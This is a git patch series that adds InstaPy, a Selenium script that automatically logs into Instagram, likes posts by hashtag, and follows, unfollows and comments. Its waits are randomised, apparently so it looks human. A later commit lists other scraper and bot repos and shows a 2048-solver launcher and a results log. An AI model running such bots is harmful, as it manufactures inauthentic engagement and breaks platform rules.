+  link_elems = main_elem.find_elements_by_tag_name('a')
+  total_links = len(link_elems)
+  links = [link_elem.get_attribute('href') for link_elem in link_elems
+           if link_elem.text in media]
+  filtered_links = len(links)
+
+  while (filtered_links < amount) and not abort:
+    amount_left = amount - filtered_links
+    # Average items of the right media per page loaded
+    new_per_page = ceil(12 * filtered_links / total_links)
+    if new_per_page == 0:
+      # Avoid division by zero
+      new_per_page = 1. / 12.
+    # Number of page load needed
+    new_needed = int(ceil(amount_left / new_per_page))
+
+    if new_needed > 12:
+      # Don't go bananas trying to get all of instagram!
+      new_needed = 12
+
+    for i in range(new_needed):  # add images x * 12
+      # Keep the latest window active while loading more posts
+      before_load = total_links
+      body_elem.send_keys(Keys.END)
+      sleep(1)
+      body_elem.send_keys(Keys.HOME)
+      sleep(1)
+      link_elems = main_elem.find_elements_by_tag_name('a')
+      total_links = len(link_elems)
+      abort = (before_load == total_links)
+      if abort:
+        break
+
+    links = [link_elem.get_attribute('href') for link_elem in link_elems
+             if link_elem.text in media]
+    filtered_links = len(links)
+
+  return links[:amount]
+
+def check_link(browser, link, dont_like, ignore_if_contains, ignore_users,
+               username, like_by_followers_upper_limit, like_by_followers_lower_limit):
+  browser.get(link)
+  sleep(2)
+
+  """Check if the Post is Valid/Exists"""
+  post_page = browser.execute_script("return window._sharedData.entry_data.PostPage")
+  if post_page is None:
+    print('Unavailable Page: {}'.format(link.encode('utf-8')))
+    return True, None, None, 'Unavailable Page'
+
+  """Gets the description of the link and checks for the dont_like tags"""
+  graphql = 'graphql' in post_page[0]
+  if graphql:
+    media = post_page[0]['graphql']['shortcode_media']
+    is_video = media['is_video']
+    user_name = media['owner']['username']
+    image_text = media['edge_media_to_caption']['edges']
+    image_text = image_text[0]['node']['text'] if image_text else None
+    owner_comments = browser.execute_script('''
+      latest_comments = window._sharedData.entry_data.PostPage[0].graphql.shortcode_media.edge_media_to_comment.edges;
+      if (latest_comments === undefined) latest_comments = Array();
+      owner_comments = latest_comments
+        .filter(item => item.node.owner.username == '{}')
+        .map(item => item.node.text)
+        .reduce((item, total) => item + '\\n' + total, '');
+      return owner_comments;
+    '''.format(user_name))
+  else:
+    media = post_page[0]['media']
+    is_video = media['is_video']
+    user_name = media['owner']['username']
+    image_text = media['caption']
+    owner_comments = browser.execute_script('''
+      latest_comments = window._sharedData.entry_data.PostPage[0].media.comments.nodes;
+      if (latest_comments === undefined) latest_comments = Array();
+      owner_comments = latest_comments
+        .filter(item => item.user.username == '{}')
+        .map(item => item.text)
+        .reduce((item, total) => item + '\\n' + total, '');
+      return owner_comments;
+    '''.format(user_name))
+
+  if owner_comments == '':
+    owner_comments = None
+
+  """Append owner comments to description as it might contain further tags"""
+  if image_text is None:
+    image_text = owner_comments
+  elif owner_comments:
+    image_text = image_text + '\n' + owner_comments
+
+  """If the image still has no description gets the first comment"""
+  if image_text is None:
+    if graphql:
+      image_text = media['edge_media_to_comment']['edges']
+      image_text = image_text[0]['node']['text'] if image_text else None
+    else:
+      image_text = media['comments']['nodes']
+      image_text = image_text[0]['text'] if image_text else None
+  if image_text is None:
+    image_text = "No description"
+
+  print('Image from: {}'.format(user_name.encode('utf-8')))
+
+  """Find the number of followes the user has"""
+  if like_by_followers_upper_limit or like_by_followers_lower_limit:
+    userlink = 'https://www.instagram.com/' + user_name
+    browser.get(userlink)
+    sleep(1)
+    num_followers = browser.execute_script("return window._sharedData.entry_data.ProfilePage[0].user.followed_by.count")
+    browser.get(link)
+    sleep(1)
+    print('Number of Followers: {}'.format(num_followers))
+
+    if like_by_followers_upper_limit and num_followers > like_by_followers_upper_limit:
+      return True, user_name, is_video, 'Number of followers exceeds limit'
+    if like_by_followers_lower_limit and num_followers < like_by_followers_lower_limit:
+      return True, user_name, is_video, 'Number of followers does not reach minimum'
+
+  print('Link: {}'.format(link.encode('utf-8')))
+  print('Description: {}'.format(image_text.encode('utf-8')))
+
+  """Check if the user_name is in the ignore_users list"""
+  if (user_name in ignore_users) or (user_name == username):
+    return True, user_name, is_video, 'Username'
+
+  if any((word in image_text for word in ignore_if_contains)):
+      return False, user_name, is_video, 'None'
+
+  dont_like_regex = []
+
+  for dont_likes in dont_like:
+    if dont_likes.startswith("#"):
+      dont_like_regex.append(dont_likes + "([^\d\w]|$)")
+    elif dont_likes.startswith("["):
+      dont_like_regex.append("#" + dont_likes[1:] + "[\d\w]+([^\d\w]|$)")
+    elif dont_likes.startswith("]"):
+      dont_like_regex.append("#[\d\w]+" + dont_likes[1:] + "([^\d\w]|$)")
+    else:
+      dont_like_regex.append("#[\d\w]*" + dont_likes + "[\d\w]*([^\d\w]|$)")
+
+  for dont_likes_regex in dont_like_regex:
+    if re.search(dont_likes_regex, image_text, re.IGNORECASE):
+      return True, user_name, is_video, 'Inappropriate'
+
+  return False, user_name, is_video, 'None'
+
+
+def like_image(browser):
+  """Likes the browser opened image"""
+  like_elem = browser.find_elements_by_xpath("//a[@role = 'button']/span[text()='Like']")
+  liked_elem = browser.find_elements_by_xpath("//a[@role = 'button']/span[text()='Unlike']")
+
+  if len(like_elem) == 1:
+    browser.execute_script("document.getElementsByClassName('" + like_elem[0].get_attribute("class") + "')[0].click()")
+    print('--> Image Liked!')
+    sleep(2)
+    return True
+  elif len(liked_elem) == 1:
+    print('--> Already Liked!')
+    return False
+  else:
+    print('--> Invalid Like Element!')
+    return False
+
+
+def get_tags(browser, url):
+  """Gets all the tags of the given description in the url"""
+  browser.get(url)
+  sleep(1)
+
+  graphql = browser.execute_script("return ('graphql' in window._sharedData.entry_data.PostPage[0])")
+  if graphql:
+    image_text = browser.execute_script("return window._sharedData.entry_data.PostPage[0].graphql.shortcode_media.edge_media_to_caption.edges[0].node.text")
+  else:
+    image_text = browser.execute_script("return window._sharedData.entry_data.PostPage[0].media.caption.text")
+
+  tags = findall(r'#\w*', image_text)
+  return tags
diff --git a/InstaPy/instapy/login_util.py b/InstaPy/instapy/login_util.py
new file mode 100644
index 00000000..ba2b9831
--- /dev/null
+++ b/InstaPy/instapy/login_util.py
@@ -0,0 +1,35 @@
+"""Module only used for the login part of the script"""
+from .time_util import sleep
+from selenium.webdriver.common.action_chains import ActionChains
+
+def login_user(browser, username, password):
+  """Logins the user with the given username and password"""
+  browser.get('https://www.instagram.com')
+
+  # Changes instagram language to english, to ensure no errors ensue from having the site on a different language
+  browser.find_element_by_xpath("//footer[@class='_oofbn']/div[@class='_mhrsk _pcuq6']/nav["
+                                "@class='_p1gbi']/ul[@class='_fh0f2']/li[@class='_fw3ds'][10]/"
+                                "span[@class='_17z9g']/select[@class='_nif11']/option"
+                                "[text()='English']").click()
+  #Check if the first div is 'Create an Account' or 'Log In'
+  login_elem = browser.find_element_by_xpath("//article/div/div/p/a[text()='Log in']")
+  if login_elem is not None:
+    action = ActionChains(browser).move_to_element(login_elem).click().perform()
+
+  #Enter username and password and logs the user in
+  #Sometimes the element name isn't 'Username' and 'Password' (valid for placeholder too)
+  inputs = browser.find_elements_by_xpath("//form/div/input")
+  action = ActionChains(browser).move_to_element(inputs[0]).click().send_keys(username) \
+          .move_to_element(inputs[1]).click().send_keys(password).perform()
+
+  login_button = browser.find_element_by_xpath("//form/span/button[text()='Log in']")
+  action = ActionChains(browser).move_to_element(login_button).click().perform()
+
+  sleep(2)
+  
+  #Check if user is logged-in (If there's two 'nav' elements)
+  nav = browser.find_elements_by_xpath('//nav')
+  if len(nav) == 2:
+    return True
+  else:
+    return False
diff --git a/InstaPy/instapy/print_log_writer.py b/InstaPy/instapy/print_log_writer.py
new file mode 100644
index 00000000..5a8b98ab
--- /dev/null
+++ b/InstaPy/instapy/print_log_writer.py
@@ -0,0 +1,12 @@
+"""Module only used to log the number of followers to a file"""
+from datetime import datetime
+from selenium.common.exceptions import NoSuchElementException
+
+def log_follower_num(browser, username):
+  """Prints and logs the current number of followers to
+  a seperate file"""
+  browser.get('https://www.instagram.com/' + username)
+
+  followed_by = browser.execute_script("return window._sharedData.entry_data.ProfilePage[0].user.followed_by.count")
+  with open('./logs/followerNum.txt', 'a') as numFile:
+    numFile.write('{:%Y-%m-%d %H:%M} {}\n'.format(datetime.now(), followed_by or 0))
diff --git a/InstaPy/instapy/time_util.py b/InstaPy/instapy/time_util.py
new file mode 100644
index 00000000..b3ffe019
--- /dev/null
+++ b/InstaPy/instapy/time_util.py
@@ -0,0 +1,22 @@
+"""Helper module to handle time related stuff"""
+from random import gauss
+from time import sleep as original_sleep
+
+
+# Amount of variance to be introduced
+# i.e. random time will be in the range: TIME +/- STDEV %
+STDEV = 0.5
+
+def randomize_time(mean):
+  allowed_range = mean * STDEV
+  stdev = allowed_range / 3  # 99.73% chance to be in the allowed range
+
+  t = 0
+  while abs(mean - t) > allowed_range:
+    t = gauss(mean, stdev)
+
+  return t
+
+
+def sleep(t):
+  original_sleep(randomize_time(t))
diff --git a/InstaPy/instapy/unfollow_util.py b/InstaPy/instapy/unfollow_util.py
new file mode 100644
index 00000000..3a60abe7
--- /dev/null
+++ b/InstaPy/instapy/unfollow_util.py
@@ -0,0 +1,80 @@
+"""Module which handles the follow features like unfollowing and following"""
+import json
+
+from .time_util import sleep
+
+
+def unfollow(browser, username, amount, dont_include):
+  """unfollows the given amount of users"""
+  unfollowNum = 0
+
+  browser.get('https://www.instagram.com/' + username)
+
+  following_link_div = browser.find_elements_by_class_name('_218yx')[2]
+  following_link = following_link_div.find_element_by_tag_name('a')
+  following_link.click()
+
+  sleep(2)
+
+  person_list_div = browser.find_element_by_class_name('_4gt3b')
+  person_list = person_list_div.find_elements_by_xpath("//a[contains(concat(' ', normalize-space(@class), ' '), ' _4zhc5 ')]")
+  person_list = [x.text for x in person_list]
+
+  follow_div = browser.find_element_by_class_name('_4gt3b')
+  follow_buttons = follow_div.find_elements_by_tag_name('button')
+
+  for button, person in zip(follow_buttons[:amount], person_list[:amount]):
+    if person not in dont_include:
+      unfollowNum += 1
+      button.click()
+      print('--> Now unfollowing: {}'.format(person.encode('utf-8')))
+      sleep(15)
+
+  return unfollowNum
+
+def follow_user(browser, user_name, follow_restrict):
+  """Follows the user of the currently opened image"""
+  follow_button = browser.find_element_by_xpath("//article/header/span/button")
+  sleep(2)
+
+  if follow_button.text == 'Follow':
+    follow_button.click()
+    print('--> Now following')
+
+    follow_restrict[user_name] = follow_restrict.get(user_name, 0) + 1
+    sleep(3)
+    return 1
+
+  else:
+    print('--> Already following')
+    sleep(1)
+    return 0
+
+def follow_given_user(browser, acc_to_follow, follow_restrict):
+    """Follows a given user."""
+    browser.get('https://www.instagram.com/' + acc_to_follow)
+    print('--> {} instagram account is opened...'.format(acc_to_follow))
+    follow_button = browser.find_element_by_xpath("//*[contains(text(), 'Follow')]")
+    sleep(10)
+    if follow_button.text == 'Follow':
+        follow_button.click()
+        print('---> Now following: {}'.format(acc_to_follow))
+        print('*' * 20)
+        follow_restrict[acc_to_follow] = follow_restrict.get(acc_to_follow, 0) + 1
+        sleep(3)
+        return 1
+    else:
+        print('---> {} is already followed'.format(acc_to_follow))
+        print('*' * 20)
+        sleep(3)
+        return  0
+
+def dump_follow_restriction(followRes):
+  """Dumps the given dictionary to a file using the json format"""
+  with open('./logs/followRestriction.json', 'w') as followResFile:
+    json.dump(followRes, followResFile)
+
+def load_follow_restriction():
+  """Loads the saved """
+  with open('./logs/followRestriction.json') as followResFile:
+    return json.load(followResFile)
diff --git a/InstaPy/logs/followRestriction.json b/InstaPy/logs/followRestriction.json
new file mode 100755
index 00000000..9e26dfee
--- /dev/null
+++ b/InstaPy/logs/followRestriction.json
@@ -0,0 +1 @@
+{}
\ No newline at end of file
diff --git a/InstaPy/logs/followed.txt b/InstaPy/logs/followed.txt
new file mode 100755
index 00000000..c2270834
--- /dev/null
+++ b/InstaPy/logs/followed.txt
@@ -0,0 +1 @@
+0
\ No newline at end of file
diff --git a/InstaPy/logs/followerNum.txt b/InstaPy/logs/followerNum.txt
new file mode 100755
index 00000000..573541ac
--- /dev/null
+++ b/InstaPy/logs/followerNum.txt
@@ -0,0 +1 @@
+0
diff --git a/InstaPy/logs/logFile.txt b/InstaPy/logs/logFile.txt
new file mode 100755
index 00000000..8b137891
--- /dev/null
+++ b/InstaPy/logs/logFile.txt
@@ -0,0 +1 @@
+
diff --git a/InstaPy/logs/run.txt b/InstaPy/logs/run.txt
new file mode 100755
index 00000000..e69de29b
diff --git a/InstaPy/quickstart.py b/InstaPy/quickstart.py
new file mode 100644
index 00000000..3b8bdd40
--- /dev/null
+++ b/InstaPy/quickstart.py
@@ -0,0 +1,23 @@
+from instapy import InstaPy
+
+# Write your automation here
+# Stuck ? Look at the github page or the examples in the examples folder
+
+dont_like = ['food', 'girl', 'hot']
+ignore_words = ['pizza']
+friend_list = ['friend1', 'friend2', 'friend3']
+
+# If you want to enter your Instagram Credentials directly just enter
+# username=<your-username-here> and password=<your-password> into InstaPy
+# e.g like so InstaPy(username="instagram", password="test1234")
+
+InstaPy()\
+  .login()\
+  .set_upper_follower_count(limit = 2500) \
+  .set_do_comment(True, percentage=10) \
+  .set_comments(['Cool!', 'Awesome!', 'Nice!']) \
+  .set_dont_include(friend_list) \
+  .set_dont_like(dont_like) \
+  .set_ignore_if_contains(ignore_words) \
+  .like_by_tags(['dog', '#cat'], amount=100) \
+  .end()
diff --git a/InstaPy/requirements.txt b/InstaPy/requirements.txt
new file mode 100644
index 00000000..1bbc9f21
--- /dev/null
+++ b/InstaPy/requirements.txt
@@ -0,0 +1,3 @@
+selenium
+clarifai
+pyvirtualdisplay
diff --git a/InstaPy/scripts/unix.sh b/InstaPy/scripts/unix.sh
new file mode 100755
index 00000000..1509e51a
--- /dev/null
+++ b/InstaPy/scripts/unix.sh
@@ -0,0 +1,59 @@
+echo "Unix InstaPy Setup"
+echo =============================================================================================
+arch=$(getconf LONG_BIT)
+kernel=$(uname)
+echo "Installing depedencies..."
+if [ $kernel == "Darwin" ]; then
+  echo "MacOS System detected"
+else
+  sudo apt-get update
+  sudo apt-get -y upgrade
+  sudo apt-get -y install unzip python3-pip python3-dev build-essential libssl-dev libffi-dev xvfb
+  sudo pip3 install --upgrade pip
+  export LANGUAGE=en_US.UTF-8
+  export LANG=en_US.UTF-8
+  export LC_ALL=en_US.UTF-8
+  locale-gen en_US.UTF-8
+  sudo dpkg-reconfigure locales
+  sudo pip3 install --upgrade pip
+  pushd ~
+  wget "https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb"
+  sudo dpkg -i google-chrome-stable_current_amd64.deb
+  sudo apt-get install -y -f
+  sudo rm google-chrome-stable_current_amd64.deb
+  pushd -0
+fi
+echo
+pushd ../
+echo "Downloading Chrome Driver..."
+if [ $kernel == "Darwin" ]; then
+  curl -o chromedriver.zip -O https://chromedriver.storage.googleapis.com/2.29/chromedriver_mac64.zip
+else
+  if [ $arch == "64" ]; then
+    wget https://chromedriver.storage.googleapis.com/2.29/chromedriver_linux64.zip -O chromedriver.zip
+  else
+    wget https://chromedriver.storage.googleapis.com/2.29/chromedriver_linux32.zip -O chromedriver.zip
+  fi
+fi
+echo "Chrome Driver download completed."
+echo
+echo "Unzipping Chrome Driver..."
+unzip chromedriver.zip
+mv ./chromedriver ./assets/chromedriver
+chmod 755 ./assets/chromedriver
+echo "Unzipping completed."
+echo
+echo "Removing unneeded file..."
+rm chromedriver.zip
+echo "Removal completed."
+echo
+if [ $kernel == "Darwin" ]; then
+  sudo python setup.py install
+else
+  sudo pip install setuptools
+  sudo apt-get install python-dev
+  sudo pip install ./
+fi
+pushd -0
+echo "Setup is completed."
+read -n1 -r -p "Press any key to continue..." key
diff --git a/InstaPy/scripts/windows.ps1 b/InstaPy/scripts/windows.ps1
new file mode 100644
index 00000000..c2225446
--- /dev/null
+++ b/InstaPy/scripts/windows.ps1
@@ -0,0 +1,35 @@
+echo "InstaPy Windows Setup"
+echo =============================================================================================
+echo "Installing Selenium"
+pip install selenium
+python -m pip install pyvirtualdisplay
+py get-pip.py
+echo " "
+echo "Installing GUI Tool"
+$webclient = New-Object System.Net.WebClient
+$webclient.DownloadFile("https://github.com/Nemixalone/GUI-tool-for-InstaPy-script/releases/download/0.4/InstaPy-GUI.exe","$pwd\InstaPy-GUI.exe")
+mv "$pwd\InstaPy-GUI.exe" "$pwd\..\InstaPy-GUI.exe"
+echo " "
+cd ..\
+echo "Downloading Chrome Driver..."
+$webclient = New-Object System.Net.WebClient
+$webclient.DownloadFile("https://chromedriver.storage.googleapis.com/2.29/chromedriver_win32.zip","$pwd\chromedriver.zip")
+echo "Chrome Driver download completed."
+echo " "
+echo "Unzipping Chrome Driver..."
+$shell = new-object -com shell.application
+$zip = $shell.NameSpace("$pwd\chromedriver.zip")
+foreach($item in $zip.items())
+{
+$shell.Namespace("$pwd\assets\").copyhere($item)
+}
+mv "$pwd\assets\chromedriver.exe" "$pwd\assets\chromedriver"
+echo "Unzipping completed."
+echo " "
+echo "Removing unneeded files..."
+rm chromedriver.zip
+echo "Removal completed."
+echo " "
+python setup.py install
+echo "Setup is completed."
+pause
diff --git a/InstaPy/setup.py b/InstaPy/setup.py
new file mode 100644
index 00000000..a814d34a
--- /dev/null
+++ b/InstaPy/setup.py
@@ -0,0 +1,25 @@
+from setuptools import setup
+
+__version__ = '0.0.1'
+__author__ = 'Tim Grossmann'
+
+
+requirements = [
+    'selenium==2.53.6',
+    'clarifai==2.0.20',
+    'pyvirtualdisplay',
+    'emoji'
+]
+
+description = 'Instagram Like, Comment and Follow Automation Script'
+
+setup(
+    name='instagram_py',
+    version=__version__,
+    author=__author__,
+    author_email='contact.timgrossmann@gmail.com',
+    url='https://github.com/timgrossmann/InstaPy',
+    py_modules='instapy',
+    description=description,
+    install_requires=requirements
+)

From cc4ee50c809b89ed42edb16080945bced7c92a6b Mon Sep 17 00:00:00 2001
From: shanhong cheng <shnahongcheng@gmail.com>
Date: Fri, 2 Jun 2017 01:38:51 -0600
Subject: [PATCH 4/5] all

---
 2048-solver-bot/.gitignore                    |     6 +
 2048-solver-bot/Batch-launcher.py             |    36 +
 2048-solver-bot/ResultLog.csv                 |   605 +
 2048-solver-bot/ToDo.md                       |    75 +
 2048-solver-bot/readme.md                     |    33 +
 2048-solver-bot/snake.py                      |    61 +
 2048-solver-bot/solverbot2048.py              |   492 +
 2048-solver-bot/tests.py                      |    30 +
 2048-solver-bot/without-animation.js          |     4 +
 AmazonRobot/Main.py                           |    47 +
 AmazonRobot/README.md                         |    35 +
 AmazonRobot/Robot.py                          |   282 +
 .../ConnectRedis.py                           |    41 +
 .../GetProxy.py                               |   124 +
 .../GetUserInfo.py                            |   114 +
 .../IgnoreWarnings.py                         |    21 +
 .../__init__.py                               |     6 +
 .../get_proxy_and_user_information/names      | 99683 ++++++++++++++++
 .../GetProductRank.py                         |    64 +
 .../record_product_information/VisitRecord.py |    99 +
 .../record_product_information/__init__.py    |     6 +
 .../create_table.sql                          |    23 +
 AmazonRobot/scripts/Alarm.py                  |    79 +
 AmazonRobot/scripts/ChangeMacAddress.py       |   304 +
 DorkNet/LICENSE                               |   674 +
 DorkNet/README.md                             |    41 +
 DorkNet/dorknet.py                            |   166 +
 DorkNet/requirements.txt                      |     2 +
 InstagramCrawler/.gitignore                   |     4 +
 InstagramCrawler/README.md                    |    40 +
 InstagramCrawler/instagramcrawler.py          |   297 +
 InstagramCrawler/requirements.txt             |     3 +
 SeleniumBase/.gitignore                       |    53 +
 SeleniumBase/.travis.yml                      |    30 +
 SeleniumBase/CNAME                            |     1 +
 SeleniumBase/Dockerfile                       |   115 +
 SeleniumBase/LICENSE                          |    22 +
 SeleniumBase/README.md                        |   717 +
 SeleniumBase/_config.yml                      |     1 +
 SeleniumBase/examples/ReadMe.md               |    75 +
 SeleniumBase/examples/__init__.py             |     0
 SeleniumBase/examples/basic_masterqa_test.py  |    13 +
 SeleniumBase/examples/example_config.cfg      |     9 +
 SeleniumBase/examples/example_logs/ReadMe.txt |     6 +
 .../examples/example_logs/basic_test_info.txt |    13 +
 .../examples/example_logs/page_source.html    |   137 +
 .../examples/example_logs/screenshot.jpg      |   Bin 0 -> 589009 bytes
 SeleniumBase/examples/gui_test_runner.py      |   109 +
 SeleniumBase/examples/masterqa_test.py        |    25 +
 SeleniumBase/examples/my_first_test.py        |    99 +
 SeleniumBase/examples/my_test_suite.py        |    31 +
 .../examples/non_terminating_checks_test.py   |    15 +
 SeleniumBase/examples/rate_limiting_test.py   |    19 +
 .../examples/run_my_first_test_in_chrome.sh   |     1 +
 .../examples/run_my_first_test_in_firefox.sh  |     1 +
 .../examples/run_rate_limiting_test.sh        |     1 +
 .../examples/run_test_fail_with_logging.sh    |     1 +
 SeleniumBase/examples/setup.cfg               |     6 +
 SeleniumBase/examples/test_fail.py            |    11 +
 SeleniumBase/help_docs/ReadMe.md              |     3 +
 SeleniumBase/help_docs/happy_customers.md     |    19 +
 SeleniumBase/help_docs/hidden_files_info.md   |     6 +
 SeleniumBase/help_docs/method_summary.md      |   219 +
 SeleniumBase/help_docs/mysql_installation.md  |    54 +
 .../help_docs/requirements_installation.md    |    70 +
 SeleniumBase/help_docs/using_safari_driver.md |    18 +
 SeleniumBase/help_docs/verify_webdriver.md    |    23 +
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 create mode 100755 pyscrapper/zomato_top_restaurants/output/wellington.json
 create mode 100755 pyscrapper/zomato_top_restaurants/script.py
 create mode 100644 tor-browser-selenium/.travis.yml
 create mode 100644 tor-browser-selenium/README.md
 create mode 100644 tor-browser-selenium/examples/check_tpo.py
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 create mode 100644 tor-browser-selenium/examples/hidden_service.py
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 create mode 100644 tor-browser-selenium/requirements-dev.txt
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diff --git a/2048-solver-bot/.gitignore b/2048-solver-bot/.gitignore
new file mode 100644
index 00000000..3e04bc4b
--- /dev/null
+++ b/2048-solver-bot/.gitignore
@@ -0,0 +1,6 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+Screenshots/
+ghostdriver.log
+*.py[cod]
+.idea/
\ No newline at end of file
diff --git a/2048-solver-bot/Batch-launcher.py b/2048-solver-bot/Batch-launcher.py
new file mode 100644
index 00000000..1eed4524
--- /dev/null
+++ b/2048-solver-bot/Batch-launcher.py
@@ -0,0 +1,36 @@
+import subprocess, argparse, sys
+
+class gamesAction(argparse.Action):
+    def __call__(self, parser, namespace, values, option_string=None):
+        if values < 1 or values > 10000:
+            parser.error("Games number should be in range 1..10000")
+            #raise argparse.ArgumentError("Minimum bandwidth is 12")
+        setattr(namespace, self.dest, values)
+class instAction(argparse.Action):
+    def __call__(self, parser, namespace, values, option_string=None):
+        if values < 1 or values > 100:
+            parser.error("Instances number should be in range 1..100")
+            #raise argparse.ArgumentError("Minimum bandwidth is 12")
+        setattr(namespace, self.dest, values)
+
+parser = argparse.ArgumentParser(description="Batch game launcher for 2048-solver-bot.py")
+parser.add_argument("-g", "--games", help="Play exact X games", action=gamesAction, metavar="X", type=int, default=1, required=True)
+parser.add_argument("-i", "--instances", help="Run not more than X bot instances", action=instAction, metavar="X", type=int, default=1, required=True)
+args = parser.parse_args()
+
+GamesCounter = args.games
+MaxInstances = args.instances
+
+"""for x in range (0, 3):
+    print "\"" + str(GamesCounter) + " games on " + str(MaxInstances) + " instances" + "\""
+"""
+if GamesCounter % MaxInstances == 0 :           #mod, 15 % 4 = 3
+    for x in range (0, MaxInstances) :
+    	subprocess.Popen(["python", "solverbot2048.py", "-p", "-l 0", "-ph", "-pb", "-g " + str(int(round(GamesCounter/MaxInstances))), "-n" + str(GamesCounter) + " games on " + str(MaxInstances) + " instances"])
+#    sys.exit()
+else :
+    subprocess.Popen(["python", "solverbot2048.py", "-p", "-l 0", "-ph", "-pb", "-g " + str(int(round(GamesCounter/MaxInstances)) + (GamesCounter % MaxInstances)), "-n" + str(GamesCounter) + " games on " + str(MaxInstances) + " instances"])
+    for x in range (0, MaxInstances - 1) :
+        subprocess.Popen(["python", "solverbot2048.py", "-p", "-l 0", "-ph", "-pb", "-g " + str(int(round(GamesCounter/MaxInstances))), "-n" + str(GamesCounter) + " games on " + str(MaxInstances) + " instances"])
+#    sys.exit()
+#sys.exit()
\ No newline at end of file
diff --git a/2048-solver-bot/ResultLog.csv b/2048-solver-bot/ResultLog.csv
new file mode 100644
index 00000000..4bad186c
--- /dev/null
+++ b/2048-solver-bot/ResultLog.csv
@@ -0,0 +1,605 @@
+Version,Timestamp,Score,MaxTile,TimeSpent,TurnsPerSecond,TurnsTotal,Down %,Right %,Up %,Left %,Garden,Note
+0.0.6,02May2014 01:34:58,3012,256,01:25,3.0,255,61.6,31.8,6.7,0.0,[  2   4   8  16   4   8  16  32   8  16  32 128  16   2  16 256],
+0.0.6,02May2014 01:51:44,2944,256,01:52,2.3,258,60.9,32.6,6.6,0.0,[  2   4   8  16  16   8  16  32   4  16  32  64   2  32  64 256],
+0.0.8,02May2014 01:55:39,3492,256,02:13,2.2,293,56.7,34.1,9.2,0.0,[  2   4   8  16   4   2  32  64   8  16  64 128   2  32   4 256],
+0.0.8,02May2014 01:57:53,2264,128,01:36,2.26,217,59.4,30.0,10.6,0.0,[  2   4   8  16   8   2  16  32   2  16  32 128  16  64 128   4],
+0.0.8,02May2014 01:59:34,1164,64,00:57,2.42,138,60.1,33.3,6.5,0.0,[ 2  4  8 16  4  8 16 32  8 16 32 64  2 32 64  4],
+0.0.8,02May2014 02:04:38,5640,512,03:00,2.21,397,59.4,31.7,8.8,0.0,[  2   4   8  16   4   8  16  64   8  32  64 128   2   4   8 512],
+0.0.8,02May2014 02:06:40,1656,128,01:16,2.32,176,59.1,31.8,9.1,0.0,[  2   4   8  16   4   8  16  32   8  16  32 128   4  32  64  16],
+0.0.8,02May2014 02:08:52,1380,128,01:04,2.27,145,55.9,35.2,8.3,0.7,[  2   4   8  16   4  16  32   8   8  64 128   2   2  16   4   8],
+0.0.8,02May2014 02:11:22,2136,128,01:29,2.27,202,55.0,37.1,7.9,0.0,[  4   2   8  16  16   8  16  32   4   2  64 128   2  16 128   2],
+0.0.8,02May2014 19:39:28,3348,256,01:40,2.83,283,58.0,32.9,9.2,0.0,[2 4 8 16 - 4 8 16 32 - 8 16 32 64 - 2 32 128 256 ],
+0.0.8,02May2014 19:43:40,1696,128,00:59,2.97,175,56.6,34.9,8.6,0.0,[2 4 8 4 - 4 8 64 16 - 8 32 16 64 - 16 2 8 128],
+0.0.9,02May2014 20:48:37,3432,256,01:53,2.55,288,61.1,29.2,9.7,0.0,[2 4 8 32 - 4 8 16 128 - 8 16 64 256 - 4 64 8 16],
+0.0.9,02May2014 20:52:11,2616,256,01:20,2.86,229,56.3,35.8,7.9,0.0,[2 4 8 16 - 4 8 16 32 - 8 32 4 64 - 2 16 32 256],
+0.0.9,03May2014 01:38:12,3236,256,01:52,2.42,271,0.0,10.7,36.2,53.1,[8 256 32 16 - 128 64 16 8 - 16 32 8 4 - 2 8 4 2],
+0.1.0,03May2014 01:44:37,3288,256,01:58,2.28,269,0.0,8.2,36.4,55.4,[16 64 256 16 - 8 128 64 8 - 4 16 8 4 - 2 8 4 2],
+0.1.0,03May2014 01:52:05,700,64,00:38,2.47,94,1.1,8.5,36.2,54.3,[4 2 4 2 - 8 64 32 16 - 4 32 16 4 - 2 8 4 2],
+0.1.0,03May2014 01:53:29,1504,128,01:09,2.32,160,0.0,9.4,32.5,58.1,[64 128 32 16 - 16 2 16 8 - 4 32 8 4 - 2 8 4 2],
+0.1.0,03May2014 11:52:16,1488,128,01:08,2.28,155,32.3,57.4,0.0,10.3,[2 4 8 2 - 4 8 32 8 - 8 16 64 32 - 16 128 16 2],
+0.1.0,03May2014 11:54:22,2504,256,01:30,2.37,213,39.9,50.2,0.0,9.9,[2 16 4 2 - 4 8 32 4 - 8 16 64 8 - 16 32 16 256],
+0.1.0,03May2014 11:55:46,668,64,00:38,2.42,92,55.4,39.1,0.0,5.4,[2 4 16 4 - 4 16 8 2 - 2 4 16 32 - 8 16 64 8],
+0.1.0,03May2014 12:01:12,3212,256,01:50,2.43,267,54.3,37.1,0.0,8.6,[4 2 16 2 - 2 16 32 4 - 8 64 2 8 - 16 32 128 256],
+0.1.0,03May2014 12:11:03,3604,256,02:17,2.22,304,49.0,41.8,0.0,9.2,[2 4 16 2 - 4 8 32 64 - 8 32 128 4 - 16 64 256 32],
+0.1.0,03May2014 12:17:04,4688,512,02:15,2.35,317,38.5,52.1,0.0,9.5,[2 4 2 4 - 4 8 4 2 - 8 16 32 16 - 16 32 64 512],
+0.1.0,03May2014 14:30:39,1792,128,01:15,2.44,183,33.3,57.9,0.0,8.7,[2 4 2 16 - 4 8 32 4 - 8 32 64 8 - 16 64 128 16],
+0.1.0,03May2014 14:44:58,7176,512,05:01,1.64,493,33.5,39.6,12.2,14.8,[2 8 256 4 - 4 16 32 8 - 64 8 512 128 - 2 4 32 16],
+0.1.1,03May2014 14:55:37,6796,512,04:02,1.95,471,32.1,40.6,13.4,14.0,[2 64 8 2 - 4 32 256 32 - 8 64 512 8 - 4 32 4 2],
+0.1.1,03May2014 15:00:09,6848,512,03:10,2.42,460,31.7,40.2,13.3,14.8,[2 4 32 2 - 32 16 512 8 - 8 256 128 2 - 2 4 16 8],
+0.1.1,03May2014 15:10:56,4900,256,02:38,2.36,373,33.0,38.1,13.1,15.8,[2 32 2 4 - 4 8 64 8 - 16 256 16 128 - 4 32 256 2],
+0.1.1,03May2014 15:14:49,3436,256,01:57,2.45,287,11.1,15.3,33.1,40.4,[16 2 16 2 - 64 256 64 4 - 16 128 16 8 - 2 32 2 4],
+0.1.1,03May2014 15:49:04,3104,256,01:43,2.49,256,12.1,14.8,30.9,42.2,[4 16 8 2 - 128 64 256 16 - 4 16 32 8 - 2 8 4 2],
